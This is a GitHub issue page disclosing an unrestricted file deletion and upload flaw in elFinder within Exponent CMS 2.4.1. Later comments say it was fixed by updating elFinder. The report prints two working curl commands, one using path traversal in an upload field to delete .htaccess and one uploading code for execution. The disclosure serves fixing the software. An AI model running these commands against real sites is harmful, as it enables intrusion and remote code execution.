Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exponent CMS 2.4.1 - Unrestricted File Deletion / Upload Vulnerability in elFinder #1447

Closed
exponentcms opened this issue Apr 28, 2020 · 3 comments
Assignees
Labels

Comments

@exponentcms
Copy link
Owner

Allows deleting arbitrary files and thus bypassing .htaccess restrictions on uploadable executable PHP files due to a flaw in external/elFinder/php/elFinder.class.php

Example:
curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=" -F chunk="../[exponent]/files/.htaccess"

curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=@[remote code]"

@exponentcms
Copy link
Owner Author

Issue has been addressed in 333rd party library and will be applied to exponent as soon as feasible Studio-42/elFinder#1843

@exponentcms
Copy link
Owner Author

Fixed by recent push to update elFinder to v2.1.20

@exponentcms
Copy link
Owner Author

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants